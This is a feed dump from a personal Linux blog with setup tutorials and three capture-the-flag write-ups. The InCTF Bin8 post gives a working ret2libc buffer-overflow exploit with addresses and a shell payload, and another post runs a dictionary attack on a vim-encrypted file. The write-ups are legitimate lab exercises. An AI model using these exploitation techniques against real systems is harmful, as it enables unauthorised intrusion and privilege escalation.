height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-7902881507636129103</id><published>2014-07-13T13:07:00.000-07:00</published><updated>2015-02-14T22:30:04.392-08:00</updated><title type='text'>Configuring Wireless Access Point or Hotspot on a RaspberryPi using Edimax EW-7811UN</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

After you have setup raspbian on your raspberrypi, do the following:
&lt;pre class=&quot;prettyprint&quot;&gt;
sudo apt-get update #Bring &#39;em all
&lt;/pre&gt;

Since we don&#39;t want to depend on external DHCP server (by bridging network interfaces) to hand over leases, we will setup our own DHCP server for our private wifi network. Read about &lt;a href=&quot;http://www.thekelleys.org.uk/dnsmasq/doc.html&quot;&gt;dnsmasq&lt;/a&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
sudo apt-get install dnsmasq
&lt;/pre&gt;

Let&#39;s setup dnsmasq configuration. Edit the file `/etc/dnsmasq.conf`
&lt;pre class=&quot;prettyprint&quot;&gt;
interface=wlan0
expand-hosts
domain=local
dhcp-range=192.168.60.10,192.168.60.255,24h
dhcp-option=3,192.168.60.1
&lt;/pre&gt;

The drivers that come with linux kernel do not support our Edimax device to behave as an Access Point by default. Realtek has been generous enough to provide the necessary drivers to do so. Visit &lt;a href=&quot;http://www.realtek.com/downloads/&quot;&gt;http://www.realtek.com/downloads/&lt;/a&gt; to download the driver for your particular device (Mine is RTL8188cus. Type the command lshw to know about yours). After downloading the driver, do the following:
&lt;pre class=&quot;prettyprint&quot;&gt;
sudo apt-get remove hostapd
wget ftp://WebUser:n8W9ErCy@95.130.192.218/cn/wlan/RTL8188C_8192C_USB_linux_v4.0.2_9000.20130911.zip
unzip RTL8188C_8192C_USB_linux_v4.0.2_9000.20130911.zip
cd RTL8188C_8192C_USB_linux_v4.0.2_9000.20130911
cd wpa_supplicant_hostapd/
tar -xf wpa_supplicant_hostapd-0.8_rtw_r7475.20130812.tar.gz
cd wpa_supplicant_hostapd-0.8_rtw_r7475.20130812
cd hostapd
sudo make install
&lt;/pre&gt;

Now we need to edit the file `/etc/hostapd.conf` to enter our configuration for wireless AP.
&lt;pre class=&quot;prettyprint&quot;&gt;
# Basic configuration
interface=wlan0
ssid=NoFreeLoaders
channel=1
#bridge=br0

# WPA and WPA2 configuration
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_passphrase=8em10h_kc01reh8
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

# Hardware configuration
driver=rtl871xdrv
ieee80211n=1
hw_mode=g
device_name=RTL8192CUS #Replace this with the name of your device.
manufacturer=Realtek
&lt;/pre&gt;

Next, create the file `/etc/init.d/hostapd` (it is needed so that we can control the hostapd program as a service) and make sure it&#39;s contents are:
&lt;pre class=&quot;prettyprint&quot;&gt;
#!/bin/sh

### BEGIN INIT INFO
# Provides:             hostapd
# Required-Start:       $remote_fs
# Required-Stop:        $remote_fs
# Should-Start:         $network
# Should-Stop:
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description:    Advanced IEEE 802.11 management daemon
# Description:          Userspace IEEE 802.11 AP and IEEE 802.1X/WPA/WPA2/EAP
#                       Authenticator
### END INIT INFO

PATH=/sbin:/bin:/usr/sbin:/usr/bin
DAEMON_SBIN=/usr/local/bin/hostapd
DAEMON_CONF=/etc/hostapd.conf
NAME=hostapd
DESC=&quot;advanced IEEE 802.11 management&quot;
PIDFILE=/var/run/hostapd.pid

[ -x &quot;$DAEMON_SBIN&quot; ] || exit 0
[ -n &quot;$DAEMON_CONF&quot; ] || exit 0

DAEMON_OPTS=&quot;-B -P $PIDFILE $DAEMON_OPTS $DAEMON_CONF&quot;

. /lib/lsb/init-functions

case &quot;$1&quot; in
  start)
        log_daemon_msg &quot;Starting $DESC&quot; &quot;$NAME&quot;
        start-stop-daemon --start --oknodo --quiet --exec &quot;$DAEMON_SBIN&quot; \
                --pidfile &quot;$PIDFILE&quot; -- $DAEMON_OPTS &gt;/dev/null
        log_end_msg &quot;$?&quot;
        ;;
  stop)
        log_daemon_msg &quot;Stopping $DESC&quot; &quot;$NAME&quot;
        start-stop-daemon --stop --oknodo --quiet --exec &quot;$DAEMON_SBIN&quot; \
                --pidfile &quot;$PIDFILE&quot;
        log_end_msg &quot;$?&quot;
        ;;
  reload)
        log_daemon_msg &quot;Reloading $DESC&quot; &quot;$NAME&quot;
        start-stop-daemon --stop --signal HUP --exec &quot;$DAEMON_SBIN&quot; \
                --pidfile &quot;$PIDFILE&quot;
        log_end_msg &quot;$?&quot;
        ;;
  restart|force-reload)
        $0 stop
        sleep 8
        $0 start
        ;;
  status)
        status_of_proc &quot;$DAEMON_SBIN&quot; &quot;$NAME&quot;
        exit $?
        ;;
  *)
        N=/etc/init.d/$NAME
        echo &quot;Usage: $N {start|stop|restart|force-reload|reload|status}&quot; &gt;&amp;2
        exit 1
        ;;
esac

exit 0
&lt;/pre&gt;

Then, we need to change make it executable and enable it (along with dnsmasq) to be executed every time the system starts:
&lt;pre class=&quot;prettyprint&quot;&gt;
chmod a+x /etc/init.d/hostapd
sudo update-rc.d dnsmasq defaults
sudo update-rc.d hostapd defaults
&lt;/pre&gt;


Next, edit the file `/etc/network/interfaces` and make it look something like this:
&lt;pre class=&quot;prettyprint&quot;&gt;
auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
iface wlan0 inet static
address 192.168.60.1
network 192.168.60.0
netmask 255.255.255.0
broadcast 192.168.60.255
&lt;/pre&gt;

The above config states that the configuration for loopback interface &#39;lo&#39; is automatic, interface &#39;eth0&#39; requires a DHCP server for ip address, interface &#39;wlan0&#39; (brought in by our Edimax EW-7811UN) has a static configuration, in which, it&#39;s ip address is 192.168.60.1, it lies in the subnet 192.168.60.0 with netmask 255.255.255.0 (i.e. 192.168.60.0/24 in CIDR format) and 192.168.60.255 is the broadcast ID for the network. Also, hot-plugging of this interface is allowed. &lt;br /&gt;

Next, we configure our rpi to support ipv4 forwarding. Open the file `/etc/sysctl.conf` add make sure the file has this line:
&lt;pre class=&quot;prettyprint&quot;&gt;
net.ipv4.ip_forward=1
&lt;/pre&gt;
Read about IP forwarding &lt;a href=&quot;en.wikipedia.org/wiki/IP_forwarding&quot;&gt;here&lt;/a&gt;.
Make sure that the above change is applied.
&lt;pre class=&quot;prettyprint&quot;&gt;
sudo sysctl -p
&lt;/pre&gt;

Next, we need to add firewall rules so that NATting can take place nicely.
&lt;pre class=&quot;prettyprint&quot;&gt;
sudo echo -e &quot;iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE\n\
iptables --append FORWARD --in-interface wlan0 -j ACCEPT&quot; &gt; /etc/network/if-up.d/router.sh
sudo chmod +x /etc/network/if-up.d/router.sh
&lt;/pre&gt;

Next, we need to make sure that our wlan0 interface is up and running and also the iptables rules are applied automatically if the system restarts. (We need to make them persistent). To do that, add the following two lines before &#39;exit 0&#39; in `/etc/rc.local`
&lt;pre class=&quot;prettyprint&quot;&gt;
ifup wlan0
/etc/network/if-up.d/router.sh
&lt;/pre&gt;

Now, reboot and enjoy your rpi as linux wireless router! xD













&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/7902881507636129103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/7902881507636129103' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/7902881507636129103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/7902881507636129103'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/07/configuring-wireless-access-point-or.html' title='Configuring Wireless Access Point or Hotspot on a RaspberryPi using Edimax EW-7811UN'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-2347110294368096856</id><published>2014-04-13T13:27:00.000-07:00</published><updated>2014-04-13T13:27:05.569-07:00</updated><title type='text'>Creating Boot Files for Windows EFI Partition</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;

DISKPART&gt; sel disk 0

Disk 0 is now the selected disk.

DISKPART&gt; list vol

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  Volume 0     E                       DVD-ROM         0 B  No Media
  Volume 1     C                NTFS   Partition    195 GB  Healthy    Boot
  Volume 2         WINRE        NTFS   Partition    400 MB  Healthy    Hidden
  Volume 3                      FAT32  Partition    260 MB  Healthy    System

DISKPART&gt; sel vol 3

Volume 3 is the selected volume.

DISKPART&gt; assign letter=b:

DiskPart successfully assigned the drive letter or mount point.

cd /d b:\EFI\Microsoft\Boot\

bootrec /fixboot

ren BCD BCD.bak

bcdboot c:\Windows /l en-gb /s b: /f ALL

bootrec /fix

bootrec /fixmbr

&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/2347110294368096856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/2347110294368096856' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2347110294368096856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2347110294368096856'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/04/creating-boot-files-for-windows-efi.html' title='Creating Boot Files for Windows EFI Partition'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-2788725030362099366</id><published>2014-04-05T06:58:00.001-07:00</published><updated>2014-04-05T06:58:37.350-07:00</updated><title type='text'>How to run executable files on a NTFS partition  </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

&lt;pre class=&quot;prettyprint&quot;&gt;
$ tail -1 /etc/fstab
/dev/sdaX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/media/extras &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ntfs-3g fmask=0022,dmask=0000,uid=1000,gid=1000 0 0
&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/2788725030362099366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/2788725030362099366' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2788725030362099366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2788725030362099366'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/04/how-to-run-executable-files-on-ntfs.html' title='How to run executable files on a NTFS partition  '/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3944591622452945286</id><published>2014-03-06T14:34:00.000-08:00</published><updated>2014-03-13T10:53:35.449-07:00</updated><title type='text'>InCTF 2014 Bin8 WriteUp</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

&lt;pre class=&quot;prettyprint&quot;&gt;
challenge8@inctf:~$ ldd challenge8
 linux-gate.so.1 =&gt;  (0xf7ffd000)
 libc.so.6 =&gt; /lib32/libc.so.6 (0xf7e4e000)
 /lib/ld-linux.so.2 (0x56555000)
challenge8@inctf:~$ gdb challenge8
Reading symbols from /home/challenge8/challenge8...done.
(gdb) break main
Reading in symbols for /home/challenge8/challenge8.c...done.
Breakpoint 1 at 0x80484ab: file /home/challenge8/challenge8.c, line 17.
(gdb) r
Starting program: /home/challenge8/challenge8
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from system-supplied DSO at 0xf7fdb000...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib32/libc.so.6

Breakpoint 1, main (argc=1, argv=0xffffd6f4) at /home/challenge8/challenge8.c:17
17 /home/challenge8/challenge8.c: No such file or directory.
(gdb) x system
0xf7e6b250 &lt;system&gt;: 0x891cec83
(gdb) find 0xf7e4e000,  0xffffffff,  &quot;/bin/sh&quot;
0xf7f8aa2c
warning: Unable to access target memory at 0xf7fd0f34, halting search.
1 pattern found.
(gdb) x/s 0xf7f8aa2c
0xf7f8aa2c:  &quot;/bin/sh&quot;
(gdb) quit
A debugging session is active.

 Inferior 1 [process 790] will be killed.

Quit anyway? (y or n) y
challenge8@inctf:~$ id
uid=1016(challenge8) gid=1016(challenge8) groups=1016(challenge8),1001(ctf)
challenge8@inctf:~$ ./challenge8 `python -c &#39;print &quot;A&quot; * 76+ &quot;\x50\xb2\xe6\xf7&quot; + &quot;AAAA&quot; + &quot;\x2c\xaa\xf8\xf7&quot;&#39;`
This is the content of buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP���AAAA,��
$ id
uid=1016(challenge8) gid=1016(challenge8) egid=1017(flag8) groups=1016(challenge8),1001(ctf)
$ cat /home/flag8/flag8
v6rjR2kw3adHwbh4
$


&lt;/pre&gt;

&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3944591622452945286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3944591622452945286' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3944591622452945286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3944591622452945286'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/03/inctf-2014-bin8-writeup.html' title='InCTF 2014 Bin8 WriteUp'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-2687156970904782615</id><published>2014-02-09T09:43:00.000-08:00</published><updated>2014-02-09T10:02:59.970-08:00</updated><title type='text'>How To Install Legacy Catalyst ATI Drivers 13.1 in CentOS 6.5</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;
Steps:
1. Downgrade Xorg&lt;br /&gt;

&lt;pre class=&quot;prettyprint&quot;&gt;
$ yum --disablerepo=\* --enablerepo=C6.3\* downgrade xorg\*
$ yum remove xorg-x11-drv-modesetting xorg-x11-drivers
$ yum downgrade xorg-x11-server-Xorg xorg-x11-server-common xorg-x11-server-utils xorg-x11-drv*
&lt;/pre&gt;

2. Install epel repository info

&lt;pre class=&quot;prettyprint&quot;&gt;$ yum install http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm&lt;/pre&gt;

3. Install the drivers

&lt;pre class=&quot;prettyprint&quot;&gt;
$ yum -y install kmod-fglrx-legacy.x86_64 --enablerepo=elrepo-testing&lt;/pre&gt;

4. Disable updates for specific packages

&lt;pre class=&quot;prettyprint&quot;&gt;
$ grep exclude /etc/yum.conf
exclude=xorg-x11-server-Xorg xorg-x11-server-common xorg-x11-server-utils xorg-x11-drv* kmod-fglrx* fglrx*x11-drv&amp;nbsp;&lt;/pre&gt;

5. Reboot!
&lt;pre class=&quot;prettyprint&quot;&gt;$ reboot&lt;/pre&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/2687156970904782615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/2687156970904782615' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2687156970904782615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/2687156970904782615'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/02/how-to-install-legacy-catalyst-ati.html' title='How To Install Legacy Catalyst ATI Drivers 13.1 in CentOS 6.5'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-325048782571176663</id><published>2014-01-19T10:18:00.002-08:00</published><updated>2014-01-19T10:21:10.142-08:00</updated><title type='text'>GhostInTheShellCode Write-Up lugkist</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;
We were given a file full of some random fix length strings. 
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
[Wani@Linux gits]$ cat lugkist
GVZSNG
AXZIOG
YNAISG
ASAIUG
IVPIOK
AXPIVG
PVZIUG
AXLIEG
YUPISK
AXASEG
GVZSSG
AXZSKG
PVPIXK
ZNASKG
LVPSOG
PVZSVK
IVASNG
GVPIEK
IVPSNK
PNZIKK
YNASSG
TVPSSK
LVZIVG
PVLSKG
PVLIVG
TNLING
ANLSUG
PVPSEG
AVASVK
LNLSXG
PVPSKK
LVPSXK
TNASXG
AXPSVG
GNLIUG
LNLSNG
TVLIOK
AVZINK
GNZSXG
IVAIVG
TVPIUK
LVLSSG
IVLSEG
AVLISK
YVAIKK
ZKPING
YVPIKG
LNZSUG
PVZSOG
AXZISG
YVASOK
ZNAING
AXPSUG
IVLSVG
AXLIKG
GVZIXG
IVASUG
TXGIEK
PNZIEK
YVLIXK
IVZSEG
AXLSOG
[Wani@Linux gits]$ 
&lt;/pre&gt;
&lt;br /&gt;
Hint provided was: &quot;Hints: lugkist: SLTIYG&quot;. On googling, one quickly comes across: &lt;a href=&quot;http://nintendo-entertainment-system.weebly.com/game-cheats-2.html&quot;&gt;http://nintendo-entertainment-system.weebly.com/game-cheats-2.html&lt;/a&gt;, which tells us that these codes are game genie codes. So, obviously, we needed to decode them. 
&lt;br/&gt;
Now, since online decoders required the person to enter the 62 codes manually, to decode them, I needed to write a program. So, I read the rules of decoding &lt;a href=&quot;http://tuxnes.sourceforge.net/gamegenie.html&quot;&gt;here&lt;/a&gt; and wrote the following python program:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
def func(op):
    if op == &#39;A&#39;:
        return 0x0
    if op == &#39;P&#39;:
 return 0x1
    if op == &#39;Z&#39;:
 return 0x2
    if op == &#39;L&#39;:
 return 0x3
    if op == &#39;G&#39;:
 return 0x4
    if op == &#39;I&#39;:
 return 0x5
    if op == &#39;T&#39;:
 return 0x6
    if op == &#39;Y&#39;:
 return 0x7
    if op == &#39;E&#39;:
 return 0x8
    if op == &#39;O&#39;:
 return 0x9
    if op == &#39;X&#39;:
 return 0xA
    if op == &#39;U&#39;:
 return 0xB
    if op == &#39;K&#39;:
 return 0xC
    if op == &#39;S&#39;:
 return 0xD
    if op == &#39;V&#39;:
 return 0xE
    if op == &#39;N&#39;:
 return 0xF

import sys

n = [func(x) for x in sys.argv[1]]

address = 0x8000 + ((n[2] &amp; 7) &lt;&lt; 12)| ((n[4] &amp; 7) &lt;&lt; 8) | ((n[3] &amp; 8) &lt;&lt; 8) | ((n[1] &amp; 7) &lt;&lt; 4) | ((n[0] &amp; 8) &lt;&lt; 4) |  (n[3] &amp; 7) |  (n[2] &amp; 8);
data = ((n[1] &amp; 7) &lt;&lt; 4) | ((n[0] &amp; 8) &lt;&lt; 4) | (n[0] &amp; 7) | (n[5] &amp; 8);

print &quot;%0x %0x&quot;%(address, data)
&lt;/pre&gt;
&lt;br/&gt;
Lets see what the output is!
&lt;br/&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
[Wani@Linux gits]$ while read line ; do python genie.py $line ; done &lt; lugkist  
af65 64
a125 20
8575 77
8355 50
9165 6d
9625 20
a365 61
b025 20
9535 3f
8825 20
ad65 64
ac25 20
9265 69
8c75 72
9965 63
ae65 69
8f65 65
9065 6c
9f65 6d
a475 79
8d75 77
9d65 6e
a665 63
bc65 61
b665 61
b775 76
bb75 70
9865 61
8e65 68
ba75 73
9c65 69
9a65 6b
8a75 76
9e25 20
b375 74
bf75 73
b165 6e
a765 68
aa75 74
8665 65
9365 6e
bd65 63
b865 65
b565 68
8465 6f
9745 42
9465 67
ab75 73
a965 61
a525 20
8965 6f
8775 72
9b25 20
be65 65
b425 20
a265 64
8b65 65
c025 2e
a075 79
b265 6f
a865 65
b925 20
[Wani@Linux gits]$ 
&lt;/pre&gt;
&lt;br /&gt;
The second column seemed to have numbers which seem printable characters. But the address are not. So, making a few changes:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
address_ = int(str(&quot;%0x&quot;%address), 16) 
print &quot;%d %d&quot;%(address_, data)
&lt;/pre&gt;
&lt;br /&gt;
Lets see the output now:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
[Wani@Linux gits]$ while read line ; do python genie.py $line ; done &lt; lugkist  | awk &#39;{printf  &quot;%c&quot;,$2}&#39; | sed &#39;:a;N;$!ba;s/\n/ /g&#39;
d wPm a ? d ircielmywncaavpahsikv tsnhtencehoBgsa or e de.yoe [Wani@Linux gits]$ 
&lt;/pre&gt;
&lt;br /&gt;
Looks a little messed. Lets try this sorting according to memory. (Remember assembly instructions in memory?)
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
[Wani@Linux gits]$ while read line ; do python genie.py $line ; done &lt; lugkist  | sort -k1n | awk &#39;{printf  &quot;%c&quot;,$2}&#39; | sed &#39;:a;N;$!ba;s/\n/ /g&#39;
Power overwhelming? Back in my day cheats did not have spaces.[Wani@Linux gits]$ 
&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/325048782571176663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/325048782571176663' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/325048782571176663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/325048782571176663'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/01/ghostintheshellcode-write-up-lugkist.html' title='GhostInTheShellCode Write-Up lugkist'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3214301225398233195</id><published>2014-01-19T09:44:00.002-08:00</published><updated>2014-01-19T10:42:00.488-08:00</updated><title type='text'>GhostInTheShellCode Write-Up Dogecrypt</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

We were provided with a file encrypted in vim. The hint given was: &quot;Solveable in &lt;5m. Much attack very wamerican-small&quot;. wamerican-small is a debian package whose info can be found &lt;a href=&quot;http://packages.debian.org/squeeze/wamerican-small&quot;&gt;here&lt;/a&gt;. It was evident that brute force had to be applied. Now, to decrypt the files using a key, I found the following perl program online at &lt;a href=&quot;http://www.perlmonks.org/bare/?abspart=1;displaytype=displaycode;node_id=386400;part=1&quot;&gt;perlmonks&lt;/a&gt;.

&lt;pre class=&quot;prettyprint&quot;&gt;use Inline C;

my $password = &lt;stdin&gt;;
chomp($password);
my $file = &quot;lol&quot;;

open F, $file or die $!;
my $data = do{ local $/; &lt;f&gt; };
close F;

decode( $data, $password );
print &quot;After:\n$data\n&quot;;

__END__
__C__
typedef unsigned int  ULG;

void decode( SV* str, char *passwd ) 
{
    ULG s,t,v,crc_32_tab[256],keys[3],temp;
    STRLEN rawlen;
    int decrypted = 0;
    char *file, *data;
    char *magic = &quot;VimCrypt~01!\0&quot;;
#define ROTOR(a) { \
    keys[0] = CRC32(keys[0], a); keys[1] += keys[0] &amp;amp; 0xff; \
    keys[1] = keys[1] * 134775813L + 1; \
    keys[2] = CRC32(keys[2], (int)(keys[1] &amp;gt;&amp;gt; 24)); \
}
#define CRC32(c, b) (crc_32_tab[((int)(c) ^ (b)) &amp;amp; 0xff] ^ ((c) &amp;gt;&amp;gt; 8))

    file = (char*)SvPV(str, rawlen);
    if ( rawlen == 0 ) return;  /* we got a null string */
    
    while ( *magic != &#39;\0&#39; ) {
        if ( *(magic++) != *(file++) ) return; /* did not find magic header */
    }
    
    for (t=0; t&amp;lt;256 data-blogger-escaped-for=&quot;&quot; data-blogger-escaped-s=&quot;&quot; data-blogger-escaped-t=&quot;&quot; data-blogger-escaped-v=&quot;(v&quot;&amp;gt;&amp;gt; 1) ^ ((v &amp;amp; 1) * (ULG)0xedb88320L);
        crc_32_tab[t] = v;
    }
    
    keys[0] = 305419896L; keys[1] = 591751049L; keys[2] = 878082192L;
    
    while (*passwd != &#39;\0&#39;) ROTOR(*(passwd++));
    
    data = file;
    while( *file != &#39;\0&#39; ) {
        temp = 0xffff &amp;amp; (keys[2] | 2);
        *file ^= (int)(((temp * (temp ^ 1)) &amp;gt;&amp;gt; 8) &amp;amp; 0xff);
        ROTOR(*(file++));
        decrypted++;
    }

    sv_setpvn( str, data, decrypted ); /* modify the passed SV with decrypt */
}
&lt;!--256--&gt;&lt;/f&gt;&lt;/stdin&gt;&lt;/pre&gt;
&lt;br /&gt;
Applying dictionary attack:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
$ while read line ; do echo $line ; echo $line | perl fish.pl  ; done &lt; /usr/share/dict/american-english-small
&lt;/pre&gt;
&lt;br /&gt;
Grabbing the key, with a little bit of guess-work
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
[Wani@Linux brute]$ cd out; strings *   | grep -i ctf
GCTf
$BgcTf
CTfJ
ctFe
OcTF
                                                        very much ctf
-CTF
&gt;cTF
NCtf
[Wani@Linux out]$ grep &quot;very much ctf&quot; *
parliament:                                                        very much ctf
[Wani@Linux out]$  cat parliament
After:
The key is: ShibeSuchDictionaryAttacksWow



                                  wow

                                                        very much ctf

                                                                      most key




                            such flag


                                         so much shellcode





                                                        wow

[Wani@Linux out]$ 
&lt;/pre&gt;
